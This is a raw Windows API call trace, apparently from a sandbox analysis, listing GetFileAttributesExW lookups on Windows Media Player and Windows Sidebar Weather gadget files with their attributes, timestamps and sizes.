	[0055.487] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\dmr_120.png"), fInfoLevelId=0x0, lpFileInformation=0x128221e8 | out: lpFileInformation=0x128221e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79de7474, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x79de7474, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x5511151c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x3a1c)) returned 1
	[0055.487] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\dmr_48.jpg"), fInfoLevelId=0x0, lpFileInformation=0x12822238 | out: lpFileInformation=0x12822238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79d9b1b6, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x79d9b1b6, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x5511151c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x4c4)) returned 1
	[0055.487] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\dmr_48.png"), fInfoLevelId=0x0, lpFileInformation=0x12822288 | out: lpFileInformation=0x12822288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5511151c, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0x5511151c, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0x5511151c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x10a9)) returned 1
	[0055.487] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\RenderingControl.xml" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\renderingcontrol.xml"), fInfoLevelId=0x0, lpFileInformation=0x128222d8 | out: lpFileInformation=0x128222d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79e59891, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x79e59891, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x555fa27c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x18db)) returned 1
	[0055.487] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\avtransport.xml" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\avtransport.xml"), fInfoLevelId=0x0, lpFileInformation=0x12822328 | out: lpFileInformation=0x12822328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79e33732, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x79e33732, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x55587e5c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x4d82)) returned 1
	[0055.487] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\connectionmanager_dmr.xml"), fInfoLevelId=0x0, lpFileInformation=0x12822378 | out: lpFileInformation=0x12822378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79e33732, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x79e33732, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x555d411c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x14ff)) returned 1
	[0055.488] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Network Sharing" (normalized: "c:\\program files (x86)\\windows media player\\network sharing"), fInfoLevelId=0x0, lpFileInformation=0x128223c8 | out: lpFileInformation=0x128223c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8012b5d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8012b5d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0055.594] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\39.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\39.png"), fInfoLevelId=0x0, lpFileInformation=0x124e7458 | out: lpFileInformation=0x124e7458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc2bab60, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc2bab60, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd7a44fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1551)) returned 1
	[0055.594] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\4.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\4.png"), fInfoLevelId=0x0, lpFileInformation=0x124e74a8 | out: lpFileInformation=0x124e74a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc306e1e, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc306e1e, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd7a44fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1456)) returned 1
	[0055.594] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\40.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\40.png"), fInfoLevelId=0x0, lpFileInformation=0x124e74f8 | out: lpFileInformation=0x124e74f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc32cf7d, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc32cf7d, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd7ca65c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1874)) returned 1
	[0055.594] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\41.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\41.png"), fInfoLevelId=0x0, lpFileInformation=0x124e7548 | out: lpFileInformation=0x124e7548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc32cf7d, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc32cf7d, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd7ca65c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xfe2)) returned 1
	[0055.594] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\42.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\42.png"), fInfoLevelId=0x0, lpFileInformation=0x124e7598 | out: lpFileInformation=0x124e7598*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc3530dc, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc3530dc, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd7f07bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1135)) returned 1
	[0055.595] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\43.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\43.png"), fInfoLevelId=0x0, lpFileInformation=0x124e75e8 | out: lpFileInformation=0x124e75e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc37923b, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc37923b, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd7f07bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1135)) returned 1
	[0055.595] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\44.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\44.png"), fInfoLevelId=0x0, lpFileInformation=0x124e7638 | out: lpFileInformation=0x124e7638*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc37923b, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc37923b, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd7f07bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb1e)) returned 1
	[0055.595] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\45.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\45.png"), fInfoLevelId=0x0, lpFileInformation=0x124e7688 | out: lpFileInformation=0x124e7688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc39f39a, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc39f39a, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd81691c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1551)) returned 1
	[0055.595] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\46.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\46.png"), fInfoLevelId=0x0, lpFileInformation=0x124e76d8 | out: lpFileInformation=0x124e76d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc39f39a, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc39f39a, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd81691c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xfe2)) returned 1
	[0055.595] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\47.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\47.png"), fInfoLevelId=0x0, lpFileInformation=0x124e7728 | out: lpFileInformation=0x124e7728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc4117b7, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc4117b7, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd81691c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1456)) returned 1
	[0055.595] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\5.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\5.png"), fInfoLevelId=0x0, lpFileInformation=0x124e7778 | out: lpFileInformation=0x124e7778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc4117b7, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc4117b7, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd83ca7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1701)) returned 1
	[0055.595] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\6.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\6.png"), fInfoLevelId=0x0, lpFileInformation=0x124e77c8 | out: lpFileInformation=0x124e77c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc437916, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc437916, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd83ca7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1701)) returned 1
	[0055.595] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\7.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\7.png"), fInfoLevelId=0x0, lpFileInformation=0x124e7818 | out: lpFileInformation=0x124e7818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc4a9d33, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc4a9d33, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd83ca7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1701)) returned 1
	[0055.596] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\8.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\8.png"), fInfoLevelId=0x0, lpFileInformation=0x124e7868 | out: lpFileInformation=0x124e7868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc4cfe92, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc4cfe92, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd862bdc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1551)) returned 1
	[0055.596] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\9.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\9.png"), fInfoLevelId=0x0, lpFileInformation=0x124e78b8 | out: lpFileInformation=0x124e78b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc51c150, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc51c150, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd862bdc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1551)) returned 1
	[0055.596] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\activity16v.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\activity16v.png"), fInfoLevelId=0x0, lpFileInformation=0x124e7908 | out: lpFileInformation=0x124e7908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc5422af, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc5422af, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd8aee9c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x3032)) returned 1
	[0055.596] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\alertIcon.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\alerticon.png"), fInfoLevelId=0x0, lpFileInformation=0x124e7958 | out: lpFileInformation=0x124e7958*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd27fcb6, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbd27fcb6, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd8d4ffc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1aa)) returned 1
	[0055.596] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\btn_close_down.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\btn_close_down.png"), fInfoLevelId=0x0, lpFileInformation=0x124e79a8 | out: lpFileInformation=0x124e79a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd0dcda1, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbd0dcda1, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd8d4ffc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xcde)) returned 1
	[0055.596] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\btn_close_down_BIDI.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\btn_close_down_bidi.png"), fInfoLevelId=0x0, lpFileInformation=0x124e79f8 | out: lpFileInformation=0x124e79f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd12905f, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbd12905f, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd8d4ffc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xcdf)) returned 1
	[0055.596] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\btn_close_over.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\btn_close_over.png"), fInfoLevelId=0x0, lpFileInformation=0x124e7a48 | out: lpFileInformation=0x124e7a48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd12905f, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbd12905f, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd8fb15c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xcdb)) returned 1
	[0055.596] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\btn_close_up.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\btn_close_up.png"), fInfoLevelId=0x0, lpFileInformation=0x124e7a98 | out: lpFileInformation=0x124e7a98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd102f00, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbd102f00, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd9936dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xca8)) returned 1
	[0055.597] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\btn_search_down.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\btn_search_down.png"), fInfoLevelId=0x0, lpFileInformation=0x124e7ae8 | out: lpFileInformation=0x124e7ae8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd17531d, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbd17531d, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbda05afc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xdf5)) returned 1
	[0055.597] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\btn_search_down_BIDI.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\btn_search_down_bidi.png"), fInfoLevelId=0x0, lpFileInformation=0x124e7b38 | out: lpFileInformation=0x124e7b38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd19b47c, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbd19b47c, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbda2bc5c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xdfd)) returned 1
	[0055.597] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\btn_search_over.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\btn_search_over.png"), fInfoLevelId=0x0, lpFileInformation=0x124e7b88 | out: lpFileInformation=0x124e7b88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd19b47c, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbd19b47c, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbda9e07c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xde7)) returned 1
	[0055.597] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\btn_search_over_BIDI.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\btn_search_over_bidi.png"), fInfoLevelId=0x0, lpFileInformation=0x124e7bd8 | out: lpFileInformation=0x124e7bd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd1e773a, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbd1e773a, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbda9e07c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xdfe)) returned 1
	[0055.597] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\btn_search_up.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\btn_search_up.png"), fInfoLevelId=0x0, lpFileInformation=0x124e7c28 | out: lpFileInformation=0x124e7c28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd14f1be, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbd14f1be, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdac41dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xd68)) returned 1
	[0055.597] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\btn_search_up_BIDI.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\btn_search_up_bidi.png"), fInfoLevelId=0x0, lpFileInformation=0x124e7c78 | out: lpFileInformation=0x124e7c78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd1c15db, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbd1c15db, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdac41dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xd80)) returned 1
	[0055.597] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\divider-horizontal.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\divider-horizontal.png"), fInfoLevelId=0x0, lpFileInformation=0x124e7cc8 | out: lpFileInformation=0x124e7cc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd259b57, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbd259b57, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdb828bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xafe)) returned 1
	[0055.598] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\divider-vertical.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\divider-vertical.png"), fInfoLevelId=0x0, lpFileInformation=0x124e7d18 | out: lpFileInformation=0x124e7d18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd27fcb6, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbd27fcb6, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdb828bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xafd)) returned 1
	[0055.598] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked-loading.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\docked-loading.png"), fInfoLevelId=0x0, lpFileInformation=0x124e7d68 | out: lpFileInformation=0x124e7d68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd20d899, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbd20d899, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdbceb7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2261)) returned 1
	[0055.598] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_cloudy.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_cloudy.png"), fInfoLevelId=0x0, lpFileInformation=0x124e7db8 | out: lpFileInformation=0x124e7db8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcb81c45, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcb81c45, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdbceb7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x274e)) returned 1
	[0055.598] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_few-showers.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_few-showers.png"), fInfoLevelId=0x0, lpFileInformation=0x124e7e08 | out: lpFileInformation=0x124e7e08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcbcdf03, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcbcdf03, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdbf4cdc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2685)) returned 1
